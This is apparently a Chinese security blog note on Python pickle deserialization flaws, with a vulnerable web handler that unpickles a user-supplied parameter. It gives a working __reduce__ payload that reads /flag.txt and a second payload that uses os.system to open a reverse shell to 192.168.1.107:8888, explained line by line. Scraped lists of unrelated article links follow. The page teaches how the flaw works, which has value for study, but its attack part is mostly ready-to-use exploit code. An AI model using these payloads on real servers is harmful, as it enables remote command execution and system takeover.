原理
在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任
意命令执行
例如网页源码
try:
       become = self.get_argument('become')
       p = pickle.loads(urllib.unquote(become))
       return self.render('form.html', res=p, member=1)
except:
        return self.render('form.html', res='This is Black Technology!', member=0)
过程:用户传入become参数,服务器将become参数url解码再反序列化并将结果给p,将p当
作一个参数给res,并且form.html有向客户端显示res的部分

那么攻击方式就是修改可控的become参数,当序列化以及反序列化的过程中中碰到一无所知的扩展类型( python2,这里指的就是新式类)的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化。
也就是说我们,只要在新式类中定义一个__reduce__ 方法,我们就能在序列化的使用让这个类根据我们在 __reduce__ 中指定的方式进行序列化。

Demo:
①首先用python得到攻击所需的payload
class payload(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt','r').read()",))  //表示用eval的方式序列化后面内容
a=pickle.dumps(payload())  //得到指定方法序列化后的pickle数据
print(urllib.quote(a))     //得到url编码后的payload

②接下来服务端收到payload后
p = pickle.loads(urllib.unquote(a)) //先url解码再用指定方法反序列化内容,结果执行了代码
return self.render('form.html', res=p, member=1)  //这时p已经是执行代码后的内容了

拓展:
既然能够任意执行代码,那么就可以反弹shell,以下为payload代码
import pickle
import urllib
import os

class exp(object):
   def __reduce__(self):
       s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
       return os.system, (s,)  //指明用os.system方法序列化s字符串内容

poc = pickle.dumps(exp()) //按照指定方式序列化字符串
print(urllib.quote(poc))

详细的看下字符串内容
python -c '执行命令'
执行命令
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.107",8888));
os.dup2(s.fileno(),0);     //表示所有的输入内容都传送给socket
os.dup2(s.fileno(),1);    //表示所有的输出内容都传送给socket
os.dup2(s.fileno(),2);   //表示所有的错误输出都传送给socket
p=subprocess.call(["/bin/sh","-i"]);   //使用sh -i 使shell可交互

python反序列化漏洞的更多相关文章

  1. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  2. 浅谈python反序列化漏洞

    最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.co ...

  3. Python的反序列化漏洞

    最近准备研究一下反序列化漏洞,但是Java代码看不懂,所以先找一个python的看起,毕竟这种漏洞在python.php中一样存在,等研究明白了基本原理后去看java的反序列化漏洞. python反序 ...

  4. python反序列化研究学习

    零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...

  5. python常见漏洞总结

    总结一下python里面常见安全问题,文章大部分内容来自MisakiKata师傅的python_code_audit项目,对原文进行了一些修改,后续会使用编写了规则对代码里面是否用到这些危险函数进行相 ...

  6. Python的一些高级特性以及反序列化漏洞

    0x01 简述 文章主要记录一下python高级特性以及安全相关的问题 python作为脚本语言,其作为高级语言是由c语言开发的,关于python的编译和链接可以看向这里https://github. ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. java反序列化漏洞实战

    准备: 域名一个,用于增加NS解析,判断是否存在反序列化漏洞. 公网IP服务器一台,用于搭建DNS代理,抓包判断. dnschef,DNS代理 ysoserial.jar生成payload. 简单的p ...

随机推荐

  1. Struts笔记二:栈值的内存区域及标签和拦截器

    值栈和ognl表达式 1.只要是一个MVC框架,必须解决数据的存和取的问题 2.struts2利用值栈来存数据,所以值栈是一个存储数据的内存结构 1.  ValueStack是一个接口,在struts ...

  2. java使用netty模拟实现一个类dubbo的分布式服务调用框架

    本文较长,如果想直接看代码可以查看项目源码地址: https://github.com/hetutu5238/rpc-demo.git 要想实现分布式服务调用框架,我们需要了解分布式服务一般需要的功能 ...

  3. sparkRDD:第4节 RDD的依赖关系;第5节 RDD的缓存机制;第6节 DAG的生成

    4.      RDD的依赖关系 6.1      RDD的依赖 RDD和它依赖的父RDD的关系有两种不同的类型,即窄依赖(narrow dependency)和宽依赖(wide dependency ...

  4. 一键设置Fluent环境变量小程序

    使用视频教程优酷播放地址: https://v.youku.com/v_show/id_XNDU2MTkwNDg5Mg==.html?spm=a2hzp.8244740.0.0 一键设置环境变量小软件 ...

  5. Linux centosVMware shell编程 for循环、while循环、break跳出循环、continue结束本次循环、exit退出整个脚本

    一.for循环 语法:for 变量名 in 条件; do …; done 案例1 #!/bin/bash sum=0 for i in `seq 1 100` do sum=$[$sum+$i] ec ...

  6. QT5静态编译工程(arm交叉编译)

    1.首先,QT编译环境默认是动态库,要编译静态程序是不可能的,所以要下载QT源码,重新编译QT编译环境 2.下载QT源码(5.13版本):http://download.qt.io/developme ...

  7. python基础day05

    上节内容变量if else注释 # ''' msg ''' 3个引号 打印多行 ', "" 双单引号的意义是一样的 缩进 本节内容pycharm使用 集成开发环境(IDE,Inte ...

  8. ImageSwitcher和GridView的案例开发

    (一)ImageSwitcher之手机相册的滑动查看 首先在布局文件上加一个ImageSwitcher,设置它的宽度和高度为match_parent. 在主程序中:首先设置一个存储照片资源的数组,在设 ...

  9. 「AHOI2008」紧急集合/聚会

    题目描述 这次也是很长的题面啊\(qwq\) 题目大意如下: 给定一棵\(N\)个节点的树以及\(M\)次询问,每次询问给出\(x,\ y,\ z\)三个节点,程序需要在树上找一个点\(p\) 使得\ ...

  10. 设计模式课程 设计模式精讲 7-2 建造者模式Coding

    1 代码演练 1.1 建造者模式演练 1.2 静态内部类演练建造者模式(链式调用) 1 代码演练 1.1 建造者模式演练 需求: 根据讲师提供的课程名称,课程ppt,课程视频,课程手记,课程问答 制作 ...